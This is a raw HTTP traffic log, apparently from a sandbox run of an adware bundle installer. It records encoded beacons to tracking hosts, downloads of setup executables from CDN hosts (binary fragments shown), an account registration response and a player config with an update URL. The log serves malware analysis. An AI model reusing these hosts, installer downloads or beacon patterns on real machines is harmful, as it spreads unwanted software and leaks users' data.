GET /app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho61J8WDbI2zXWceTUfoD7PipsrZDsYYadYLJQuWr4kCVhntxZGpTPDdJj0V1e3C0jlnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYCYwZSN8LSVDAJSrNW7Zt5N3DunU6zYc038 q0WKoLP7XBgSL9c3oaEopKBNrZGgXEKf6pfgWlN19 inPTLZDtg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=aQQpsP6/AW07SHxFqnYavKKMB9u4RTbHOggt0NtNk2sSZTerw9Y85dVUaX7QH4bytNUutjdaeNpYZ/hmEaa6tArnDblgaQV5rBEAeiNSKIRgKkdlz1lRoRVZ6ImNImI0nDgs7q5vmXmt09Lyj4wnxwOcMrd2QP26bT3cle1PWdtSntfB84 2wHYR9ma6URQcqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGwUbmkSx215zMR0tXSlEdaRjVew HFEZV9jVBmhFP5Xl0m/qXEXQVTAkGPSBUe9lxO8SsEd1vQGPfwqbgkyABd HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=gwZ4/u7hMkJxQPEjIVQx7hqaufDNaULH2YTeaOaZJPFysSIQM/WMqjEsdSRpTTrrVTOts69f7XGIYay O9/s6NCzlqZV7epfeAZVSGbvho4xEz6FfERdwJw4LO6ub5l5rBjqlmzKnb1Tx2y1fQnwbvamwkcEQSgO2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gc/dW/OzxIfNag72ELJ8PIdBfI iBFWPgCmFZX07bmHdPS5THftJlVZWLfeo/B59z4BlKlGJcuDg HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=PcwT4QFtuPCnIVMsUgdaKaKMB9u4RTbHOggt0NtNk2sSZTerw9Y85dVUaX7QH4bytNUutjdaeNpYZ/hmEaa6tArnDblgaQV5rBEAeiNSKIRgKkdlz1lRoXg/MOwCCT3fpsrZDsYYadbOj/D8d98sTJIE6m2lhk6FB84hjoFBGFqrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEbBRuaRLHbXnMxHS1dKUR1pGNV7D4cURlX2NUGaEU/leXSb pcRdBVMCQY9IFR72XE7xKwR3W9AY9/CpuCTIAF0= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:13 GMT

Content-Length: 0

....

GET /app/ping.ashx?e=lOCrbsNL2zWQ5lb rGZVAjg2g5AFJwuPAeG8v9m1fNeRoZJTpqsyZxASc9FSZWyoWTYC2lEyeiSf/q8AVmKmzb kAny30vKUdqs4LRFOOXPwsHnwsxHHbSdvNRLeb/tYs4164GCUCrFoceVsKClDm/Wv9kqlZCJeiSUZWap5kVTyfwmWa4R8zuIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSa8OW8dQbOsF/AYMVKhoisSQw9cDM1vpQpA4p8oOqegpt4fF2c2QjE50Jr/8j9E5xBtUYb9dqX32KOEog NNy6LA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: rep.shopper-pro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:14 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/8.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 20
15 03:59:14 GMT..Content-Length: 0..

GET /mstag/site/649013f9-6914-436e-ba0b-dcbf07bc69d7/mstag.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/x-javascript; charset=utf-8

Content-Encoding: gzip

Expires: Tue, 10 Feb 2015 04:15:21 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Tue, 10 Feb 2015 04:00:20 GMT

Connection: close

Content-Length: 490
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;..8..]....../.6....i.
Wyu.....*........}l^..N...zyx..i....M>.U.."_....=-s....l..17...j.||
...............g...../... .....f...n..g.............>n..g......}...
...{...?}.......|{..L.g.................w.w...w..(t.(.U]...-..._.K....
......w~1.=....7..h.>.{..;............x....d.....B../..?.%..|.'..o}
......M1..}.....?.]f...).........U....B?.XGD..4......w.]|...8..(xg....
.q.........

GET /mirror/mystartsearch/default/setup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1mvy92rurx48h.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321632

Connection: keep-alive

Date: Sun, 08 Feb 2015 05:31:06 GMT

x-amz-version-id: pJx1Noe1nsjOrolbXLoeUI7xmdja2CTU

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1422525589/atime:1422525603/ctime:1422525590

Cache-Control: max-age=3600

Last-Modified: Thu, 29 Jan 2015 10:00:41 GMT

ETag: "31f8d1cffb02dff93646f81d8ce3dd75"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-321631/321632

Age: 2241

X-Cache: Hit from cloudfront

Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Li8DvSPy0zAHXp28HiziPC6AZeolEFIcRvNs2qzT1ulesSHJ3d229A==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........>.P.P.P
.P.P.P.K...H.P.K...o.P.K.....P.Y...R.P.Y..._.P.P.Q.-.P.K...Z.P.EH..Q.P
.K...Q.P.RichP.P.........PE..L......T.................................
.... ....@.......................... .......a....@....................
.............h...........\...............`.......l ..`"...............
................|..@............ ...............................text..
.a........................... ..`.rdata....... ......................@
[email protected].......*[email protected]...\..................
.........@[email protected][email protected].................
......................................................................
......................................................................
......................................................................
......................................................................
.................................................."C...t.......U..V...
.."C...t...E..t.V.9y.......^]............................U..j.hd.C.d..
...P...SV.t.C.3.P.E.d......u.3.S....k...]..^..^..^..^..^..^..^..^ .E..
;.u(.E.P.M..E.|RC...s..h0.C..M.Q.E..#C......WV.#h........M.d......Y^[.
.].....U..j.h..C.d.....PVW.t.C.3.P.E.d......u.V.E......bg...F.3....;.t
.P..w......~..F.;.t.P..w......~..F.;.t.P..w......~..F.;.t.P..w........
~..E......2j...M.d......Y_^..].............U...E.VP....s.....#C...^]..
[email protected]..^..].......U..QVW..j..M.<<< skipped >>>

GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1

User-Agent: CoreWinInet

Host: online.GOOBZO.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Connection: close

Date: Tue, 10 Feb 2015 03:59:24 GMT

Server: Microsoft-IIS/6.0

X-Powered-By: ASP.NET

Cache-Control: no-cache, no-store

X-AspNet-Version: 2.0.50727

Set-Cookie: ASP.NET_SessionId=bxiizz55zjgy0qyekng0vi55; path=/; HttpOnly

Cache-Control: private

Content-Type: text/html; charset=utf-8

Content-Length: 98
<RESULT>.<USER>.<ID>afe88cb7-8d54-4fb1-a659-909a345b
04f7</ID>.<PW>kt1ZkW7W</PW>.</USER>.</RESUL
T>...

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 1290844

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 09 Feb 2015 16:46:32 GMT

Accept-Ranges: bytes

ETag: "ef7a73f58744d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:02 GMT

X-Cache: Miss from cloudfront

Via: 1.1 1415e6a9d308119037d1fa89386da72a.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YYMt_-ltrPV1iCgasRuPLXakwQqhtPbH9oX5A3iPj8-uDuHTMeUIDw==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900 HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: flex.msn.com

DNT: 1

Connection: Keep-Alive

Cookie: mh=MSFT; CC=UA; CULTURE=EN-US; SRCHD=SM=1&MS=3093912&D=3093912&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20131118; MC1=V=3&GUID=373863f57d114b0289364f6434076125; brdSample=0; MUID=1785AC2FD94664211AC0A9A6DD466620; cbus=subint:1:138479115


HTTP/1.1 200 OK

Cache-Control: public

Content-Type: application/javascript; charset=utf-8

Content-Encoding: gzip

Expires: Wed, 11 Feb 2015 04:00:22 GMT

Vary: Accept-Encoding

Server: Microsoft-IIS/8.0

X-AspNet-Version: 4.0.30319

Date: Tue, 10 Feb 2015 04:00:22 GMT

Connection: close

Content-Length: 366
.............`.I.%&/m.{.J.J..t...`[email protected]#).*..eVe]f.@......{
....{....;.N'...?\fd.l..J...!....?~|.?"....i[T..;.}~qz..i.~...6.._....
Z.u{.:o.>....j..{.lT...r....2.]R..)....iGm...6.b...?.3.>...^>
.{......v...x.,..jq..h.W.g..pV-.by6.L.|tHo..8O..1.s.@}B.~!...G.'.~.. .
....... }....P.:....F!._}.}jE`..)...^....>.U.QP......'-...ZA...*.d.
..<.............`...Ro..y.....

GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.mystartsearch.regok HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Tue, 10 Feb 2015 03:59:32 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.22 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Tue, 10 Feb 20
15 03:59:32 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.22 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /gen/helper.js HTTP/1.1

Accept: application/javascript, */*;q=0.8

Referer: hXXp://VVV.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,e5f8ccfa-064a-4525-b909-9b89e346b6d9,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=68&BundleID=NONE

Accept-Language: en-US

User-Agent: Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)

Accept-Encoding: gzip, deflate

Host: d13j8bqw-l8bu4n1j.netdna-ssl.com

DNT: 1

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 10 Feb 2015 04:00:21 GMT

Content-Type: application/javascript

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: Express

Cache-Control: public, max-age=3600

Last-Modified: Mon, 09 Feb 2015 11:37:26 GMT

ETag: W/"fdfc-1784535516"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Encoding: gzip
4394...............r..u-...S...U......EI...%..k.q%...G.6.0.(.....Y.d..
[email protected]."2..........^{.......g..G........i....`8...0...;Cwt...W.......
...|..?nn.z|2.=89....d.....tv............a.."-..*.....n.;w...nn..=~...
..........~......4.....=.....7..I...zsyX...'.....?..|... ...3.|=...'._
.=.On...|...|r4N_.giQ.M^..........l|.8.mn......<O}....r.M.W...v.t..
...m.uz...d<..|...'.....L....d.TOS?6.4..\.]RuY.%.XUu.o......^wp....
......o.....u.|..o.=~pr.......swx:.>....d:..<|........p:.3......
.Gg....../_..........u...........o.......^.hos.....i..nS....:{.L.ts...
....._~....=8u......r..7.9.;..........>.U.............uG.t.......S.
W#........gg.'G......3....{?...z.....h..!..~zp....OS..b.k...?....C.ec.
.E7Oy_WIU.}......:...|V\..x._...ilv.<.Y..i..m..uRWY..C?.i.mno.f*.9.
....|..$......I.....'E5$EQT]...A>..?....f..c...9...\%c..Y9WS..S..U.
....>.a...<.....m.6c..}..Y2.......E...<Y........g_..w7...m.~N
.2.....a.....2.....W.OS6g.\5c.'.U...^S.gy..!..).h.....1.....>......
S.Y....3.SQ..Tf...{s...dU......P..SY.s.`..MY$qH.7Em.4.5.U....>.\.?.
m..y3W.........n.& ....hm9S>.c2OUQds..U..Y..s..[......r..67........
...[.i>.co.6u.....Y...8Lc.;.I...l.j.c4Yb=...N....a........#i...2.TW
.}k|.Y3%y...:.;.t.d.]E6...6E;.....z.9 ....<o.$.........:...(.x..0..
...}.....7u6LM.]..].1$..M....a.N....n.......9..b..:............b.m....
..vU..M..M>.F.....`;M....'....<..Xuyg..*K...y.........}.....r3.e
..M.W.<..g.&o.r.......fm.o.E....2w6.|N.6.....njbn..#m..Ml#C..k..c.1
..:-.....;.....aL..cm..r/c.XV....qe....vh.& .n....Z}.$........9..3<<< skipped >>>

GET /webplayer/flvplayer/config.json HTTP/1.1

Accept: */*

If-Modified-Since: Sat, 1 Jan 2000 00:00:00 GMT

Cache-Control: max-age=0

Accept-Language: en-us

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: VVV.bigspeedpro.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 10 Feb 2015 03:59:44 GMT

Content-Type: application/json

Content-Length: 905

Last-Modified: Mon, 10 Mar 2014 13:59:58 GMT

Connection: close

ETag: "531dc55e-389"

Accept-Ranges: bytes

{."group-name": "FLV Player",."program-name": "Play online FLV files",
."about-text": "FLV Player v1.1\n(c) 2012 Somoto Ltd. All rights reser
ved\n\nTerms and Conditions:\nhXXp://software.filesfrog.com/FLV Play
er/eula\n\nPrivacy Policy:\nhXXp://software.filesfrog.com/FLV Player
/pprivacy",."title-icon": "hXXp://VVV.bigspeedpro.com/webplayer/flvpla
yer/flvplayer.ico",."tray-icon": "hXXp://VVV.bigspeedpro.com/webplayer
/flvplayer/flvplayer.ico",."shortcut-icon": "hXXp://VVV.bigspeedpro.co
m/webplayer/flvplayer/32x32.ico",."uninstall": true,."url": "hXXp://ww
w.bigspeedpro.com/webplayer/flvplayer/html/flvplayer.html",."width": 8
54,."height": 542,."cache": 86400,."alwaysontop": false,."program-vers
ion": "1.1",."start-on-windows": true,."title": "FLV Player",."tooltip
": "FLV Player",."minimized": true,."update-url" : "hXXp://VVV.bigspee
dpro.com/mirror/nerocrossrider/flvplayer/flvplayer_update.exe".}...

GET /utility.gif?report=fdata&f=3&c=820&i=35&n=ms_about_to_exc&rnd=3118 HTTP/1.1

Host: errors.crossrider.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx/1.6.0

Date: Tue, 10 Feb 2015 04:00:03 GMT

Content-Type: image/gif

Content-Length: 43

Last-Modified: Mon, 28 Sep 1970 06:00:00 GMT

Connection: close

GIF89a.............!.......,...........L..;..

GET /12360.ashx?e=657cd9m3NQH uUohEa38nQ6hxqMAiseHDcqmwWeNhbb8ln8Iap23//2TEkHeJNDU/gWpMzttQ0rMO5V10xYyR0G9rwS1lKyqn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: KCjwVgaAsu01JSR7FegNy0hJhf9r7cmcwg2-vu268Nj-L1HSy6Gmog==

HTTP/1.1 200 OK..Content-Length: 0..Connection: keep-alive..Cache-Cont
rol: private, no-store..Server: Microsoft-IIS/8.5..X-AspNet-Version: 4
.0.30319..X-Powered-By: ASP.NET..Date: Tue, 10 Feb 2015 03:59:11 GMT..
X-Cache: Miss from cloudfront..Via: 1.1 2d2eb60d814c8202a5a69fa957cd56
9d.cloudfront.net (CloudFront)..X-Amz-Cf-Id: KCjwVgaAsu01JSR7FegNy0hJh
f9r7cmcwg2-vu268Nj-L1HSy6Gmog==......

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRMFsl/n8ohguAvjGx9 eRBs IILilpWF0AZbgHkoXRfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: YpuE1n7A4TriQDoYelHZe-MrwqKIzJ3PGaB4nmZ9Dk8y639Enyuaiw==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRAkqBmtM5btymF904v4t2DqIs V7Ds6CRuZZIi5/tojmg8l4itKbh/HiBn688lkcr8toCm18jzwzsvB25MJtnS1urDxSq54gttr9SYvZpGaZcc7RKjUBXhxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9wGDFSoaIrEkMPXAzNb6UKQOKfKDqnoKbeHxdnNkIxOduQj7MqrGewA== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:11 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: OnP_Xs2g-L8jf9RNZUEFLYr-3IOs4CrohoHywBWRclxbav88lYqFYg==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtQ3HFDGhcCtcymF904v4t2DkuWOvdnHdKvLMI0xCo70b7AhMjcBExiTBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLsta8tCHxlktOyH31wgiLg4DRbv3YXgwwsua2vDfsr7ziWhKQdCJuXcqwZwxAX4ff HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oaMG1kpqUGU1wuW5GtCk0JDJmb6LFvFVXgsG2VmWbfXSm7PtgqYFmg==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtRohYWVSD9bxhD4NsK07Wi5s IILilpWF2KgswbSwpeyhmehRlAIZWixXuPFOdxmQSrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEZXZrelYJPLUWxdZ8eaJ96yZrT3y6KrGbfNLfHU gXZ6YII8x1xjGwfzUfBX6s6B 3a2siGp/9ya HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:58:49 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: NtCexxiXPITBrRN5XSRU3CgvgbCtrqTFIkB3h0hs3EJ7zl15ywWXuA==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtQQuxFFygAloQTxIUcsgQ wxmYABy3b c3anAVHlmf vATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7LWvLQh8ZZLTsh99cIIi4OA0W792F4MMLLmtrw37K 84loSkHQibl3KsGcMQF H3w== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: FBJ7GiNxwxvI_XufD9C-dXacnNtaAMw64j6Bg-b14Zx89jx3BGdMCQ==

....

GET /12360.ashx?e=hXeqmv1IpenVj9BNm3y5B/0NIveTUdQyW1tgKrNy38kQyol6Hp9Rdg0/niVdnGaSoJgmsLZ3n9aa8JaR5GgG5zwB4kOBPtmLQX9U bk8PMny9WPdsZGiUE0RnAbEs26ALnCMwJJTkXqSYeASUebplp3Zhqce6bh8j0N7bp/0QtTvsEASNc/caY4G r 3F6T7M 2x4nq/V4db8yl/lmEDu8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXiu2tbKFpYG13f64oXp7sfcBgxUqGiKxJDD1wMzW lCkDinyg6p6Cm3h8XZzZCMTnbkI zKqxnsA= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

Server: Microsoft-IIS/8.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 10 Feb 2015 03:59:12 GMT

X-Cache: Miss from cloudfront

Via: 1.1 2d2eb60d814c8202a5a69fa957cd569d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Y_gy7qw95p9aVz7Eyoe0zA3gScGZiOKEka558w1_bSqedkfPhCkFAA==

....

